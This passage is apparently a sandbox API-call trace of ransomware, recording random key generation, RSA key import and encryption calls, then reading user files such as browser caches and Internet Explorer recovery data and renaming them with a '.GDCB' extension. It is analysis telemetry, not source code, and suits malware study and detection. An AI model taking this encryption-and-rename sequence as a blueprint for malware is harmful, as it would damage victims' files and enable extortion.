data\\default\\indexeddb\\https_www.google.de_0.indexeddb.leveldb\\000003.log.gdcb")) returned 1 [0245.236] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0245.239] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0245.241] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0245.241] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0245.241] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0245.241] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0245.244] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0245.246] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0245.246] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0245.246] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0245.247] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0245.249] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x677e408) returned 1 [0245.249] CryptGetKeyParam (in: hKey=0x677e408, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0245.249] CryptEncrypt (in: hKey=0x677e408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc660000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xc660000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0245.249] GetLastError () returned 0x0 [0245.249] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0245.249] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0245.251] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x677e6c8) returned 1 [0245.251] CryptGetKeyParam (in: hKey=0x677e6c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0245.251] CryptEncrypt (in: hKey=0x677e6c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc670000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xc670000*, pdwDataLen=0x285d120*=0x100) returned 1 [0245.251] GetLastError () returned 0x0 [0245.251] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0245.251] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\CacheStorage\\28da9c56fde4021055a681112c092453f74d8dd8\\index.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\cachestorage\\28da9c56fde4021055a681112c092453f74d8dd8\\index.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0245.296] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0245.299] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0245.302] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0245.302] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0245.302] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0245.302] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0245.305] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0245.306] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0245.306] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0245.306] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0245.307] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0245.309] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x677e508) returned 1 [0245.309] CryptGetKeyParam (in: hKey=0x677e508, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0245.309] CryptEncrypt (in: hKey=0x677e508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc680000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xc680000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0245.309] GetLastError () returned 0x0 [0245.309] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0245.309] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0245.311] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x677e448) returned 1 [0245.311] CryptGetKeyParam (in: hKey=0x677e448, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0245.311] CryptEncrypt (in: hKey=0x677e448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc690000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xc690000*, pdwDataLen=0x285d120*=0x100) returned 1 [0245.311] GetLastError () returned 0x0 [0245.311] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0245.311] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\CacheStorage\\e6622492fa163609ddd4212f54512baa07929ed3\\index.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\cachestorage\\e6622492fa163609ddd4212f54512baa07929ed3\\index.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0245.403] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0245.407] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0245.409] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0245.409] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0245.409] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0245.410] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0245.412] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0245.414] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0245.414] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0245.414] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0245.414] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0245.417] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x677e808) returned 1 [0245.417] CryptGetKeyParam (in: hKey=0x677e808, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0245.417] CryptEncrypt (in: hKey=0x677e808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6a0000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xc6a0000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0245.417] GetLastError () returned 0x0 [0245.417] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0245.417] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0245.419] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x677e148) returned 1 [0245.419] CryptGetKeyParam (in: hKey=0x677e148, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0245.419] CryptEncrypt (in: hKey=0x677e148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6b0000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xc6b0000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0245.419] GetLastError () returned 0x0 [0245.419] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0245.419] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0245.451] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0245.455] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0245.457] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0245.457] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0245.457] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0245.457] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0245.460] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0245.461] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0245.461] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0245.461] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0245.462] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0245.464] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x677e748) returned 1 [0245.464] CryptGetKeyParam (in: hKey=0x677e748, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0245.464] CryptEncrypt (in: hKey=0x677e748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6c0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xc6c0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0245.464] GetLastError () returned 0x0 [0245.464] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0245.464] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0245.466] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x677e488) returned 1 [0245.466] CryptGetKeyParam (in: hKey=0x677e488, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0245.466] CryptEncrypt (in: hKey=0x677e488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6d0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xc6d0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0245.466] GetLastError () returned 0x0 [0245.466] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0245.466] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{63E26EB7-6816-11E7-9BD2-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{63e26eb7-6816-11e7-9bd2-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0245.468] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0245.471] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0245.474] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0245.474] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0245.474] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0245.474] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0245.476] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0245.478] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0245.478] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0245.478] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0245.478] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0245.480] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x677e248) returned 1 [0245.480] CryptGetKeyParam (in: hKey=0x677e248, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0245.480] CryptEncrypt (in: hKey=0x677e248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6e0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xc6e0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0245.481] GetLastError () returned 0x0 [0245.481] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0245.481] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0245.482] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x677e4c8) returned 1 [0245.482] CryptGetKeyParam (in: hKey=0x677e4c8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0245.482] CryptEncrypt (in: hKey=0x677e4c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6f0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xc6f0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0245.483] GetLastError () returned 0x0 [0245.483] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0245.483] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{DAB3814F-C5D5-11E7-9BDA-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{dab3814f-c5d5-11e7-9bda-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0245.484] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc700000 [0245.487] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc710000 [0245.489] ReadFile (in: hFile=0x50c, lpBuffer=0xc710000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0xc710000*, lpNumberOfBytesRead=0x285d8f8*=0x3200, lpOverlapped=0x0) returned 1 [0245.514] VirtualAlloc (lpAddress=0x0, dwSize=0x3200, flAllocationType=0x3000, flProtect=0x4) returned 0xc820000 [0245.520] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{DAB3814F-C5D5-11E7-9BDA-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{dab3814f-c5d5-11e7-9bda-c40142ecde47}.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{DAB3814F-C5D5-11E7-9BDA-C40142ECDE47}.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\{dab3814f-c5d5-11e7-9bda-c40142ecde47}.dat.gdcb")) returned 1 [0246.034] GetLastError () returned 0x50 [0246.312] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0246.315] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.317] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.317] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0246.317] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.317] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0246.320] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.322] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.322] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0246.322] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.322] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0246.324] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e308) returned 1 [0246.324] CryptGetKeyParam (in: hKey=0x677e308, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.324] CryptEncrypt (in: hKey=0x677e308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0246.324] GetLastError () returned 0x0 [0246.324] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.324] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0246.326] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e548) returned 1 [0246.326] CryptGetKeyParam (in: hKey=0x677e548, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.326] CryptEncrypt (in: hKey=0x677e548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6f0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc6f0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0246.327] GetLastError () returned 0x0 [0246.327] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.327] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{2546D910-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{2546d910-b905-4d30-88c9-b63c603da134}.3.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0246.328] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc700000 [0246.331] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc710000 [0246.333] ReadFile (in: hFile=0x508, lpBuffer=0xc710000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285db80, lpOverlapped=0x0 | out: lpBuffer=0xc710000*, lpNumberOfBytesRead=0x285db80*=0x61088, lpOverlapped=0x0) returned 1 [0246.360] VirtualAlloc (lpAddress=0x0, dwSize=0x61090, flAllocationType=0x3000, flProtect=0x4) returned 0xc820000 [0246.376] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{2546D910-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{2546d910-b905-4d30-88c9-b63c603da134}.3.ver0x0000000000000001.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{2546D910-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{2546d910-b905-4d30-88c9-b63c603da134}.3.ver0x0000000000000001.db.gdcb")) returned 1 [0246.379] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0246.383] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.385] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.385] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0246.385] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.385] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0246.388] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.390] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.390] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0246.390] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.390] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0246.393] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, 